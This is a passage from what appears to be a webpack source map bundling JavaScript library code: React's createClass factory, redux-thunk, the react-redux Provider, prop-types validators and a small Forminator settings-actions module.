shouldComponentUpdate: function(nextProps, nextState, nextContext) {\n     *     return !equal(nextProps, this.props) ||\n     *       !equal(nextState, this.state) ||\n     *       !equal(nextContext, this.context);\n     *   }\n     *\n     * @param {object} nextProps\n     * @param {?object} nextState\n     * @param {?object} nextContext\n     * @return {boolean} True if the component should update.\n     * @optional\n     */\n    shouldComponentUpdate: 'DEFINE_ONCE',\n\n    /**\n     * Invoked when the component is about to update due to a transition from\n     * `this.props`, `this.state` and `this.context` to `nextProps`, `nextState`\n     * and `nextContext`.\n     *\n     * Use this as an opportunity to perform preparation before an update occurs.\n     *\n     * NOTE: You **cannot** use `this.setState()` in this method.\n     *\n     * @param {object} nextProps\n     * @param {?object} nextState\n     * @param {?object} nextContext\n     * @param {ReactReconcileTransaction} transaction\n     * @optional\n     */\n    componentWillUpdate: 'DEFINE_MANY',\n\n    /**\n     * Invoked when the component's DOM representation has been updated.\n     *\n     * Use this as an opportunity to operate on the DOM when the component has\n     * been updated.\n     *\n     * @param {object} prevProps\n     * @param {?object} prevState\n     * @param {?object} prevContext\n     * @param {DOMElement} rootNode DOM element representing the component.\n     * @optional\n     */\n    componentDidUpdate: 'DEFINE_MANY',\n\n    /**\n     * Invoked when the component is about to be removed from its parent and have\n     * its DOM representation destroyed.\n     *\n     * Use this as an opportunity to deallocate any external resources.\n     *\n     * NOTE: There is no `componentDidUnmount` since your component will have been\n     * destroyed by that point.\n     *\n     * @optional\n     */\n    componentWillUnmount: 'DEFINE_MANY',\n\n    /**\n     * Replacement for (deprecated) `componentWillMount`.\n     *\n     * @optional\n     */\n    UNSAFE_componentWillMount: 'DEFINE_MANY',\n\n    /**\n     * Replacement for (deprecated) `componentWillReceiveProps`.\n     *\n     * @optional\n     */\n    UNSAFE_componentWillReceiveProps: 'DEFINE_MANY',\n\n    /**\n     * Replacement for (deprecated) `componentWillUpdate`.\n     *\n     * @optional\n     */\n    UNSAFE_componentWillUpdate: 'DEFINE_MANY',\n\n    // ==== Advanced methods ====\n\n    /**\n     * Updates the component's currently mounted DOM representation.\n     *\n     * By default, this implements React's rendering and reconciliation algorithm.\n     * Sophisticated clients may wish to override this.\n     *\n     * @param {ReactReconcileTransaction} transaction\n     * @internal\n     * @overridable\n     */\n    updateComponent: 'OVERRIDE_BASE'\n  };\n\n  /**\n   * Similar to ReactClassInterface but for static methods.\n   */\n  var ReactClassStaticInterface = {\n    /**\n     * This method is invoked after a component is instantiated and when it\n     * receives new props. Return an object to update state in response to\n     * prop changes. Return null to indicate no change to state.\n     *\n     * If an object is returned, its keys will be merged into the existing state.\n     *\n     * @return {object || null}\n     * @optional\n     */\n    getDerivedStateFromProps: 'DEFINE_MANY_MERGED'\n  };\n\n  /**\n   * Mapping from class specification keys to special processing functions.\n   *\n   * Although these are declared like instance properties in the specification\n   * when defining classes using `React.createClass`, they are actually static\n   * and are accessible on the constructor instead of the prototype. Despite\n   * being static, they must be defined outside of the \"statics\" key under\n   * which all other static methods are defined.\n   */\n  var RESERVED_SPEC_KEYS = {\n    displayName: function(Constructor, displayName) {\n      Constructor.displayName = displayName;\n    },\n    mixins: function(Constructor, mixins) {\n      if (mixins) {\n        for (var i = 0; i < mixins.length; i++) {\n          mixSpecIntoComponent(Constructor, mixins[i]);\n        }\n      }\n    },\n    childContextTypes: function(Constructor, childContextTypes) {\n      if (process.env.NODE_ENV !== 'production') {\n        validateTypeDef(Constructor, childContextTypes, 'childContext');\n      }\n      Constructor.childContextTypes = _assign(\n        {},\n        Constructor.childContextTypes,\n        childContextTypes\n      );\n    },\n    contextTypes: function(Constructor, contextTypes) {\n      if (process.env.NODE_ENV !== 'production') {\n        validateTypeDef(Constructor, contextTypes, 'context');\n      }\n      Constructor.contextTypes = _assign(\n        {},\n        Constructor.contextTypes,\n        contextTypes\n      );\n    },\n    /**\n     * Special case getDefaultProps which should move into statics but requires\n     * automatic merging.\n     */\n    getDefaultProps: function(Constructor, getDefaultProps) {\n      if (Constructor.getDefaultProps) {\n        Constructor.getDefaultProps = createMergedResultFunction(\n          Constructor.getDefaultProps,\n          getDefaultProps\n        );\n      } else {\n        Constructor.getDefaultProps = getDefaultProps;\n      }\n    },\n    propTypes: function(Constructor, propTypes) {\n      if (process.env.NODE_ENV !== 'production') {\n        validateTypeDef(Constructor, propTypes, 'prop');\n      }\n      Constructor.propTypes = _assign({}, Constructor.propTypes, propTypes);\n    },\n    statics: function(Constructor, statics) {\n      mixStaticSpecIntoComponent(Constructor, statics);\n    },\n    autobind: function() {}\n  };\n\n  function validateTypeDef(Constructor, typeDef, location) {\n    for (var propName in typeDef) {\n      if (typeDef.hasOwnProperty(propName)) {\n        // use a warning instead of an _invariant so components\n        // don't show up in prod but only in __DEV__\n        if (process.env.NODE_ENV !== 'production') {\n          warning(\n            typeof typeDef[propName] === 'function',\n            '%s: %s type `%s` is invalid; it must be a function, usually from ' +\n              'React.PropTypes.',\n            Constructor.displayName || 'ReactClass',\n            ReactPropTypeLocationNames[location],\n            propName\n          );\n        }\n      }\n    }\n  }\n\n  function validateMethodOverride(isAlreadyDefined, name) {\n    var specPolicy = ReactClassInterface.hasOwnProperty(name)\n      ? ReactClassInterface[name]\n      : null;\n\n    // Disallow overriding of base class methods unless explicitly allowed.\n    if (ReactClassMixin.hasOwnProperty(name)) {\n      _invariant(\n        specPolicy === 'OVERRIDE_BASE',\n        'ReactClassInterface: You are attempting to override ' +\n          '`%s` from your class specification. Ensure that your method names ' +\n          'do not overlap with React methods.',\n        name\n      );\n    }\n\n    // Disallow defining methods more than once unless explicitly allowed.\n    if (isAlreadyDefined) {\n      _invariant(\n        specPolicy === 'DEFINE_MANY' || specPolicy === 'DEFINE_MANY_MERGED',\n        'ReactClassInterface: You are attempting to define ' +\n          '`%s` on your component more than once. This conflict may be due ' +\n          'to a mixin.',\n        name\n      );\n    }\n  }\n\n  /**\n   * Mixin helper which handles policy validation and reserved\n   * specification keys when building React classes.\n   */\n  function mixSpecIntoComponent(Constructor, spec) {\n    if (!spec) {\n      if (process.env.NODE_ENV !== 'production') {\n        var typeofSpec = typeof spec;\n        var isMixinValid = typeofSpec === 'object' && spec !== null;\n\n        if (process.env.NODE_ENV !== 'production') {\n          warning(\n            isMixinValid,\n            \"%s: You're attempting to include a mixin that is either null \" +\n              'or not an object. Check the mixins included by the component, ' +\n              'as well as any mixins they include themselves. ' +\n              'Expected object but got %s.',\n            Constructor.displayName || 'ReactClass',\n            spec === null ? null : typeofSpec\n          );\n        }\n      }\n\n      return;\n    }\n\n    _invariant(\n      typeof spec !== 'function',\n      \"ReactClass: You're attempting to \" +\n        'use a component class or function as a mixin. Instead, just use a ' +\n        'regular object.'\n    );\n    _invariant(\n      !isValidElement(spec),\n      \"ReactClass: You're attempting to \" +\n        'use a component as a mixin. Instead, just use a regular object.'\n    );\n\n    var proto = Constructor.prototype;\n    var autoBindPairs = proto.__reactAutoBindPairs;\n\n    // By handling mixins before any other properties, we ensure the same\n    // chaining order is applied to methods with DEFINE_MANY policy, whether\n    // mixins are listed before or after these methods in the spec.\n    if (spec.hasOwnProperty(MIXINS_KEY)) {\n      RESERVED_SPEC_KEYS.mixins(Constructor, spec.mixins);\n    }\n\n    for (var name in spec) {\n      if (!spec.hasOwnProperty(name)) {\n        continue;\n      }\n\n      if (name === MIXINS_KEY) {\n        // We have already handled mixins in a special case above.\n        continue;\n      }\n\n      var property = spec[name];\n      var isAlreadyDefined = proto.hasOwnProperty(name);\n      validateMethodOverride(isAlreadyDefined, name);\n\n      if (RESERVED_SPEC_KEYS.hasOwnProperty(name)) {\n        RESERVED_SPEC_KEYS[name](Constructor, property);\n      } else {\n        // Setup methods on prototype:\n        // The following member methods should not be automatically bound:\n        // 1. Expected ReactClass methods (in the \"interface\").\n        // 2. Overridden methods (that were mixed in).\n        var isReactClassMethod = ReactClassInterface.hasOwnProperty(name);\n        var isFunction = typeof property === 'function';\n        var shouldAutoBind =\n          isFunction &&\n          !isReactClassMethod &&\n          !isAlreadyDefined &&\n          spec.autobind !== false;\n\n        if (shouldAutoBind) {\n          autoBindPairs.push(name, property);\n          proto[name] = property;\n        } else {\n          if (isAlreadyDefined) {\n            var specPolicy = ReactClassInterface[name];\n\n            // These cases should already be caught by validateMethodOverride.\n            _invariant(\n              isReactClassMethod &&\n                (specPolicy === 'DEFINE_MANY_MERGED' ||\n                  specPolicy === 'DEFINE_MANY'),\n              'ReactClass: Unexpected spec policy %s for key %s ' +\n                'when mixing in component specs.',\n              specPolicy,\n              name\n            );\n\n            // For methods which are defined more than once, call the existing\n            // methods before calling the new property, merging if appropriate.\n            if (specPolicy === 'DEFINE_MANY_MERGED') {\n              proto[name] = createMergedResultFunction(proto[name], property);\n            } else if (specPolicy === 'DEFINE_MANY') {\n              proto[name] = createChainedFunction(proto[name], property);\n            }\n          } else {\n            proto[name] = property;\n            if (process.env.NODE_ENV !== 'production') {\n              // Add verbose displayName to the function, which helps when looking\n              // at profiling tools.\n              if (typeof property === 'function' && spec.displayName) {\n                proto[name].displayName = spec.displayName + '_' + name;\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n\n  function mixStaticSpecIntoComponent(Constructor, statics) {\n    if (!statics) {\n      return;\n    }\n\n    for (var name in statics) {\n      var property = statics[name];\n      if (!statics.hasOwnProperty(name)) {\n        continue;\n      }\n\n      var isReserved = name in RESERVED_SPEC_KEYS;\n      _invariant(\n        !isReserved,\n        'ReactClass: You are attempting to define a reserved ' +\n          'property, `%s`, that shouldn\\'t be on the \"statics\" key. Define it ' +\n          'as an instance property instead; it will still be accessible on the ' +\n          'constructor.',\n        name\n      );\n\n      var isAlreadyDefined = name in Constructor;\n      if (isAlreadyDefined) {\n        var specPolicy = ReactClassStaticInterface.hasOwnProperty(name)\n          ? ReactClassStaticInterface[name]\n          : null;\n\n        _invariant(\n          specPolicy === 'DEFINE_MANY_MERGED',\n          'ReactClass: You are attempting to define ' +\n            '`%s` on your component more than once. This conflict may be ' +\n            'due to a mixin.',\n          name\n        );\n\n        Constructor[name] = createMergedResultFunction(Constructor[name], property);\n\n        return;\n      }\n\n      Constructor[name] = property;\n    }\n  }\n\n  /**\n   * Merge two objects, but throw if both contain the same key.\n   *\n   * @param {object} one The first object, which is mutated.\n   * @param {object} two The second object\n   * @return {object} one after it has been mutated to contain everything in two.\n   */\n  function mergeIntoWithNoDuplicateKeys(one, two) {\n    _invariant(\n      one && two && typeof one === 'object' && typeof two === 'object',\n      'mergeIntoWithNoDuplicateKeys(): Cannot merge non-objects.'\n    );\n\n    for (var key in two) {\n      if (two.hasOwnProperty(key)) {\n        _invariant(\n          one[key] === undefined,\n          'mergeIntoWithNoDuplicateKeys(): ' +\n            'Tried to merge two objects with the same key: `%s`. This conflict ' +\n            'may be due to a mixin; in particular, this may be caused by two ' +\n            'getInitialState() or getDefaultProps() methods returning objects ' +\n            'with clashing keys.',\n          key\n        );\n        one[key] = two[key];\n      }\n    }\n    return one;\n  }\n\n  /**\n   * Creates a function that invokes two functions and merges their return values.\n   *\n   * @param {function} one Function to invoke first.\n   * @param {function} two Function to invoke second.\n   * @return {function} Function that invokes the two argument functions.\n   * @private\n   */\n  function createMergedResultFunction(one, two) {\n    return function mergedResult() {\n      var a = one.apply(this, arguments);\n      var b = two.apply(this, arguments);\n      if (a == null) {\n        return b;\n      } else if (b == null) {\n        return a;\n      }\n      var c = {};\n      mergeIntoWithNoDuplicateKeys(c, a);\n      mergeIntoWithNoDuplicateKeys(c, b);\n      return c;\n    };\n  }\n\n  /**\n   * Creates a function that invokes two functions and ignores their return vales.\n   *\n   * @param {function} one Function to invoke first.\n   * @param {function} two Function to invoke second.\n   * @return {function} Function that invokes the two argument functions.\n   * @private\n   */\n  function createChainedFunction(one, two) {\n    return function chainedFunction() {\n      one.apply(this, arguments);\n      two.apply(this, arguments);\n    };\n  }\n\n  /**\n   * Binds a method to the component.\n   *\n   * @param {object} component Component whose method is going to be bound.\n   * @param {function} method Method to be bound.\n   * @return {function} The bound method.\n   */\n  function bindAutoBindMethod(component, method) {\n    var boundMethod = method.bind(component);\n    if (process.env.NODE_ENV !== 'production') {\n      boundMethod.__reactBoundContext = component;\n      boundMethod.__reactBoundMethod = method;\n      boundMethod.__reactBoundArguments = null;\n      var componentName = component.constructor.displayName;\n      var _bind = boundMethod.bind;\n      boundMethod.bind = function(newThis) {\n        for (\n          var _len = arguments.length,\n            args = Array(_len > 1 ? _len - 1 : 0),\n            _key = 1;\n          _key < _len;\n          _key++\n        ) {\n          args[_key - 1] = arguments[_key];\n        }\n\n        // User is trying to bind() an autobound method; we effectively will\n        // ignore the value of \"this\" that the user is trying to use, so\n        // let's warn.\n        if (newThis !== component && newThis !== null) {\n          if (process.env.NODE_ENV !== 'production') {\n            warning(\n              false,\n              'bind(): React component methods may only be bound to the ' +\n                'component instance. See %s',\n              componentName\n            );\n          }\n        } else if (!args.length) {\n          if (process.env.NODE_ENV !== 'production') {\n            warning(\n              false,\n              'bind(): You are binding a component method to the component. ' +\n                'React does this for you automatically in a high-performance ' +\n                'way, so you can safely remove this call. See %s',\n              componentName\n            );\n          }\n          return boundMethod;\n        }\n        var reboundMethod = _bind.apply(boundMethod, arguments);\n        reboundMethod.__reactBoundContext = component;\n        reboundMethod.__reactBoundMethod = method;\n        reboundMethod.__reactBoundArguments = args;\n        return reboundMethod;\n      };\n    }\n    return boundMethod;\n  }\n\n  /**\n   * Binds all auto-bound methods in a component.\n   *\n   * @param {object} component Component whose method is going to be bound.\n   */\n  function bindAutoBindMethods(component) {\n    var pairs = component.__reactAutoBindPairs;\n    for (var i = 0; i < pairs.length; i += 2) {\n      var autoBindKey = pairs[i];\n      var method = pairs[i + 1];\n      component[autoBindKey] = bindAutoBindMethod(component, method);\n    }\n  }\n\n  var IsMountedPreMixin = {\n    componentDidMount: function() {\n      this.__isMounted = true;\n    }\n  };\n\n  var IsMountedPostMixin = {\n    componentWillUnmount: function() {\n      this.__isMounted = false;\n    }\n  };\n\n  /**\n   * Add more to the ReactClass base class. These are all legacy features and\n   * therefore not already part of the modern ReactComponent.\n   */\n  var ReactClassMixin = {\n    /**\n     * TODO: This will be deprecated because state should always keep a consistent\n     * type signature and the only use case for this, is to avoid that.\n     */\n    replaceState: function(newState, callback) {\n      this.updater.enqueueReplaceState(this, newState, callback);\n    },\n\n    /**\n     * Checks whether or not this composite component is mounted.\n     * @return {boolean} True if mounted, false otherwise.\n     * @protected\n     * @final\n     */\n    isMounted: function() {\n      if (process.env.NODE_ENV !== 'production') {\n        warning(\n          this.__didWarnIsMounted,\n          '%s: isMounted is deprecated. Instead, make sure to clean up ' +\n            'subscriptions and pending requests in componentWillUnmount to ' +\n            'prevent memory leaks.',\n          (this.constructor && this.constructor.displayName) ||\n            this.name ||\n            'Component'\n        );\n        this.__didWarnIsMounted = true;\n      }\n      return !!this.__isMounted;\n    }\n  };\n\n  var ReactClassComponent = function() {};\n  _assign(\n    ReactClassComponent.prototype,\n    ReactComponent.prototype,\n    ReactClassMixin\n  );\n\n  /**\n   * Creates a composite component class given a class specification.\n   * See https://facebook.github.io/react/docs/top-level-api.html#react.createclass\n   *\n   * @param {object} spec Class specification (which must define `render`).\n   * @return {function} Component constructor function.\n   * @public\n   */\n  function createClass(spec) {\n    // To keep our warnings more understandable, we'll use a little hack here to\n    // ensure that Constructor.name !== 'Constructor'. This makes sure we don't\n    // unnecessarily identify a class without displayName as 'Constructor'.\n    var Constructor = identity(function(props, context, updater) {\n      // This constructor gets overridden by mocks. The argument is used\n      // by mocks to assert on what gets mounted.\n\n      if (process.env.NODE_ENV !== 'production') {\n        warning(\n          this instanceof Constructor,\n          'Something is calling a React component directly. Use a factory or ' +\n            'JSX instead. See: https://fb.me/react-legacyfactory'\n        );\n      }\n\n      // Wire up auto-binding\n      if (this.__reactAutoBindPairs.length) {\n        bindAutoBindMethods(this);\n      }\n\n      this.props = props;\n      this.context = context;\n      this.refs = emptyObject;\n      this.updater = updater || ReactNoopUpdateQueue;\n\n      this.state = null;\n\n      // ReactClasses doesn't have constructors. Instead, they use the\n      // getInitialState and componentWillMount methods for initialization.\n\n      var initialState = this.getInitialState ? this.getInitialState() : null;\n      if (process.env.NODE_ENV !== 'production') {\n        // We allow auto-mocks to proceed as if they're returning null.\n        if (\n          initialState === undefined &&\n          this.getInitialState._isMockFunction\n        ) {\n          // This is probably bad practice. Consider warning here and\n          // deprecating this convenience.\n          initialState = null;\n        }\n      }\n      _invariant(\n        typeof initialState === 'object' && !Array.isArray(initialState),\n        '%s.getInitialState(): must return an object or null',\n        Constructor.displayName || 'ReactCompositeComponent'\n      );\n\n      this.state = initialState;\n    });\n    Constructor.prototype = new ReactClassComponent();\n    Constructor.prototype.constructor = Constructor;\n    Constructor.prototype.__reactAutoBindPairs = [];\n\n    injectedMixins.forEach(mixSpecIntoComponent.bind(null, Constructor));\n\n    mixSpecIntoComponent(Constructor, IsMountedPreMixin);\n    mixSpecIntoComponent(Constructor, spec);\n    mixSpecIntoComponent(Constructor, IsMountedPostMixin);\n\n    // Initialize the defaultProps property after all mixins have been merged.\n    if (Constructor.getDefaultProps) {\n      Constructor.defaultProps = Constructor.getDefaultProps();\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      // This is a tag to indicate that the use of these method names is ok,\n      // since it's used with createClass. If it's not, then it's likely a\n      // mistake so we'll warn you to use the static property, property\n      // initializer or constructor respectively.\n      if (Constructor.getDefaultProps) {\n        Constructor.getDefaultProps.isReactClassApproved = {};\n      }\n      if (Constructor.prototype.getInitialState) {\n        Constructor.prototype.getInitialState.isReactClassApproved = {};\n      }\n    }\n\n    _invariant(\n      Constructor.prototype.render,\n      'createClass(...): Class specification must implement a `render` method.'\n    );\n\n    if (process.env.NODE_ENV !== 'production') {\n      warning(\n        !Constructor.prototype.componentShouldUpdate,\n        '%s has a method called ' +\n          'componentShouldUpdate(). Did you mean shouldComponentUpdate()? ' +\n          'The name is phrased as a question because the function is ' +\n          'expected to return a value.',\n        spec.displayName || 'A component'\n      );\n      warning(\n        !Constructor.prototype.componentWillRecieveProps,\n        '%s has a method called ' +\n          'componentWillRecieveProps(). Did you mean componentWillReceiveProps()?',\n        spec.displayName || 'A component'\n      );\n      warning(\n        !Constructor.prototype.UNSAFE_componentWillRecieveProps,\n        '%s has a method called UNSAFE_componentWillRecieveProps(). ' +\n          'Did you mean UNSAFE_componentWillReceiveProps()?',\n        spec.displayName || 'A component'\n      );\n    }\n\n    // Reduce time spent doing lookups by setting these on the prototype.\n    for (var methodName in ReactClassInterface) {\n      if (!Constructor.prototype[methodName]) {\n        Constructor.prototype[methodName] = null;\n      }\n    }\n\n    return Constructor;\n  }\n\n  return createClass;\n}\n\nmodule.exports = factory;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/create-react-class/factory.js\n// module id = 107\n// module chunks = 0 1 2 3 4 5","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nvar emptyObject = {};\n\nif (process.env.NODE_ENV !== 'production') {\n  Object.freeze(emptyObject);\n}\n\nmodule.exports = emptyObject;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/fbjs/lib/emptyObject.js\n// module id = 108\n// module chunks = 0 1 2 3 4 5","export const updateSetting = ( setting, value ) => dispatch => {\n\t// Update global variable with Changes\n\twindow.forminatorChanges.settings = true;\n\n\tdispatch( {\n\t\ttype: 'UPDATE_SETTING',\n\t\tsetting: setting,\n\t\tvalue: value\n\t} );\n};\n\nexport const updateSettings = ( settings ) => dispatch => {\n\t// Update global variable with Changes\n\twindow.forminatorChanges.settings = true;\n\n\tdispatch( {\n\t\ttype: 'UPDATE_SETTINGS',\n\t\tsettings: settings,\n\t} );\n};\n\nexport const resetSettings = ( settings ) => dispatch => {\n\t// Update global variable with Changes\n\twindow.forminatorChanges.settings = true;\n\n\tdispatch( {\n\t\ttype: 'RESET_SETTINGS',\n\t\tsettings: settings,\n\t} );\n};\n\nexport const saveBuilder = ( setting, value ) => dispatch => {\n\t// Empty global changed variable\n\twindow.forminatorChanges = {\n\t\tfields: [],\n\t\tsettings: false,\n\t\tsaved: true,\n\t};\n\n\tdispatch( {\n\t\ttype: 'UPDATE_SETTING',\n\t\tsetting: setting,\n\t\tvalue: value\n\t} );\n};\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/actions/settings.js","function createThunkMiddleware(extraArgument) {\n  return function (_ref) {\n    var dispatch = _ref.dispatch,\n        getState = _ref.getState;\n    return function (next) {\n      return function (action) {\n        if (typeof action === 'function') {\n          return action(dispatch, getState, extraArgument);\n        }\n\n        return next(action);\n      };\n    };\n  };\n}\n\nvar thunk = createThunkMiddleware();\nthunk.withExtraArgument = createThunkMiddleware;\n\nexport default thunk;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/redux-thunk/es/index.js\n// module id = 112\n// module chunks = 0 1 2 3 4","function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport { Component, Children } from 'react';\nimport PropTypes from 'prop-types';\nimport { storeShape, subscriptionShape } from '../utils/PropTypes';\nimport warning from '../utils/warning';\n\nvar didWarnAboutReceivingStore = false;\nfunction warnAboutReceivingStore() {\n  if (didWarnAboutReceivingStore) {\n    return;\n  }\n  didWarnAboutReceivingStore = true;\n\n  warning('<Provider> does not support changing `store` on the fly. ' + 'It is most likely that you see this error because you updated to ' + 'Redux 2.x and React Redux 2.x which no longer hot reload reducers ' + 'automatically. See https://github.com/reactjs/react-redux/releases/' + 'tag/v2.0.0 for the migration instructions.');\n}\n\nexport function createProvider() {\n  var _Provider$childContex;\n\n  var storeKey = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 'store';\n  var subKey = arguments[1];\n\n  var subscriptionKey = subKey || storeKey + 'Subscription';\n\n  var Provider = function (_Component) {\n    _inherits(Provider, _Component);\n\n    Provider.prototype.getChildContext = function getChildContext() {\n      var _ref;\n\n      return _ref = {}, _ref[storeKey] = this[storeKey], _ref[subscriptionKey] = null, _ref;\n    };\n\n    function Provider(props, context) {\n      _classCallCheck(this, Provider);\n\n      var _this = _possibleConstructorReturn(this, _Component.call(this, props, context));\n\n      _this[storeKey] = props.store;\n      return _this;\n    }\n\n    Provider.prototype.render = function render() {\n      return Children.only(this.props.children);\n    };\n\n    return Provider;\n  }(Component);\n\n  if (process.env.NODE_ENV !== 'production') {\n    Provider.prototype.componentWillReceiveProps = function (nextProps) {\n      if (this[storeKey] !== nextProps.store) {\n        warnAboutReceivingStore();\n      }\n    };\n  }\n\n  Provider.propTypes = {\n    store: storeShape.isRequired,\n    children: PropTypes.element.isRequired\n  };\n  Provider.childContextTypes = (_Provider$childContex = {}, _Provider$childContex[storeKey] = storeShape.isRequired, _Provider$childContex[subscriptionKey] = subscriptionShape, _Provider$childContex);\n\n  return Provider;\n}\n\nexport default createProvider();\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/components/Provider.js\n// module id = 115\n// module chunks = 0 1 2 3 4","/**\n * Copyright (c) 2013-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nvar assign = require('object-assign');\n\nvar ReactPropTypesSecret = require('./lib/ReactPropTypesSecret');\nvar checkPropTypes = require('./checkPropTypes');\n\nvar printWarning = function() {};\n\nif (process.env.NODE_ENV !== 'production') {\n  printWarning = function(text) {\n    var message = 'Warning: ' + text;\n    if (typeof console !== 'undefined') {\n      console.error(message);\n    }\n    try {\n      // --- Welcome to debugging React ---\n      // This error was thrown as a convenience so that you can use this stack\n      // to find the callsite that caused this warning to fire.\n      throw new Error(message);\n    } catch (x) {}\n  };\n}\n\nfunction emptyFunctionThatReturnsNull() {\n  return null;\n}\n\nmodule.exports = function(isValidElement, throwOnDirectAccess) {\n  /* global Symbol */\n  var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\n  var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec.\n\n  /**\n   * Returns the iterator method function contained on the iterable object.\n   *\n   * Be sure to invoke the function with the iterable as context:\n   *\n   *     var iteratorFn = getIteratorFn(myIterable);\n   *     if (iteratorFn) {\n   *       var iterator = iteratorFn.call(myIterable);\n   *       ...\n   *     }\n   *\n   * @param {?object} maybeIterable\n   * @return {?function}\n   */\n  function getIteratorFn(maybeIterable) {\n    var iteratorFn = maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]);\n    if (typeof iteratorFn === 'function') {\n      return iteratorFn;\n    }\n  }\n\n  /**\n   * Collection of methods that allow declaration and validation of props that are\n   * supplied to React components. Example usage:\n   *\n   *   var Props = require('ReactPropTypes');\n   *   var MyArticle = React.createClass({\n   *     propTypes: {\n   *       // An optional string prop named \"description\".\n   *       description: Props.string,\n   *\n   *       // A required enum prop named \"category\".\n   *       category: Props.oneOf(['News','Photos']).isRequired,\n   *\n   *       // A prop named \"dialog\" that requires an instance of Dialog.\n   *       dialog: Props.instanceOf(Dialog).isRequired\n   *     },\n   *     render: function() { ... }\n   *   });\n   *\n   * A more formal specification of how these methods are used:\n   *\n   *   type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...)\n   *   decl := ReactPropTypes.{type}(.isRequired)?\n   *\n   * Each and every declaration produces a function with the same signature. This\n   * allows the creation of custom validation functions. For example:\n   *\n   *  var MyLink = React.createClass({\n   *    propTypes: {\n   *      // An optional string or URI prop named \"href\".\n   *      href: function(props, propName, componentName) {\n   *        var propValue = props[propName];\n   *        if (propValue != null && typeof propValue !== 'string' &&\n   *            !(propValue instanceof URI)) {\n   *          return new Error(\n   *            'Expected a string or an URI for ' + propName + ' in ' +\n   *            componentName\n   *          );\n   *        }\n   *      }\n   *    },\n   *    render: function() {...}\n   *  });\n   *\n   * @internal\n   */\n\n  var ANONYMOUS = '<<anonymous>>';\n\n  // Important!\n  // Keep this list in sync with production version in `./factoryWithThrowingShims.js`.\n  var ReactPropTypes = {\n    array: createPrimitiveTypeChecker('array'),\n    bool: createPrimitiveTypeChecker('boolean'),\n    func: createPrimitiveTypeChecker('function'),\n    number: createPrimitiveTypeChecker('number'),\n    object: createPrimitiveTypeChecker('object'),\n    string: createPrimitiveTypeChecker('string'),\n    symbol: createPrimitiveTypeChecker('symbol'),\n\n    any: createAnyTypeChecker(),\n    arrayOf: createArrayOfTypeChecker,\n    element: createElementTypeChecker(),\n    instanceOf: createInstanceTypeChecker,\n    node: createNodeChecker(),\n    objectOf: createObjectOfTypeChecker,\n    oneOf: createEnumTypeChecker,\n    oneOfType: createUnionTypeChecker,\n    shape: createShapeTypeChecker,\n    exact: createStrictShapeTypeChecker,\n  };\n\n  /**\n   * inlined Object.is polyfill to avoid requiring consumers ship their own\n   * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is\n   */\n  /*eslint-disable no-self-compare*/\n  function is(x, y) {\n    // SameValue algorithm\n    if (x === y) {\n      // Steps 1-5, 7-10\n      // Steps 6.b-6.e: +0 != -0\n      return x !== 0 || 1 / x === 1 / y;\n    } else {\n      // Step 6.a: NaN == NaN\n      return x !== x && y !== y;\n    }\n  }\n  /*eslint-enable no-self-compare*/\n\n  /**\n   * We use an Error-like object for backward compatibility as people may call\n   * PropTypes directly and inspect their output. However, we don't use real\n   * Errors anymore. We don't inspect their stack anyway, and creating them\n   * is prohibitively expensive if they are created too often, such as what\n   * happens in oneOfType() for any type before the one that matched.\n   */\n  function PropTypeError(message) {\n    this.message = message;\n    this.stack = '';\n  }\n  // Make `instanceof Error` still work for returned errors.\n  PropTypeError.prototype = Error.prototype;\n\n  function createChainableTypeChecker(validate) {\n    if (process.env.NODE_ENV !== 'production') {\n      var manualPropTypeCallCache = {};\n      var manualPropTypeWarningCount = 0;\n    }\n    function checkType(isRequired, props, propName, componentName, location, propFullName, secret) {\n      componentName = componentName || ANONYMOUS;\n      propFullName = propFullName || propName;\n\n      if (secret !== ReactPropTypesSecret) {\n        if (throwOnDirectAccess) {\n          // New behavior only for users of `prop-types` package\n          var err = new Error(\n            'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +\n            'Use `PropTypes.checkPropTypes()` to call them. ' +\n            'Read more at http://fb.me/use-check-prop-types'\n          );\n          err.name = 'Invariant Violation';\n          throw err;\n        } else if (process.env.NODE_ENV !== 'production' && typeof console !== 'undefined') {\n          // Old behavior for people using React.PropTypes\n          var cacheKey = componentName + ':' + propName;\n          if (\n            !manualPropTypeCallCache[cacheKey] &&\n            // Avoid spamming the console because they are often not actionable except for lib authors\n            manualPropTypeWarningCount < 3\n          ) {\n            printWarning(\n              'You are manually calling a React.PropTypes validation ' +\n              'function for the `' + propFullName + '` prop on `' + componentName  + '`. This is deprecated ' +\n              'and will throw in the standalone `prop-types` package. ' +\n              'You may be seeing this warning due to a third-party PropTypes ' +\n              'library. See https://fb.me/react-warning-dont-call-proptypes ' + 'for details.'\n            );\n            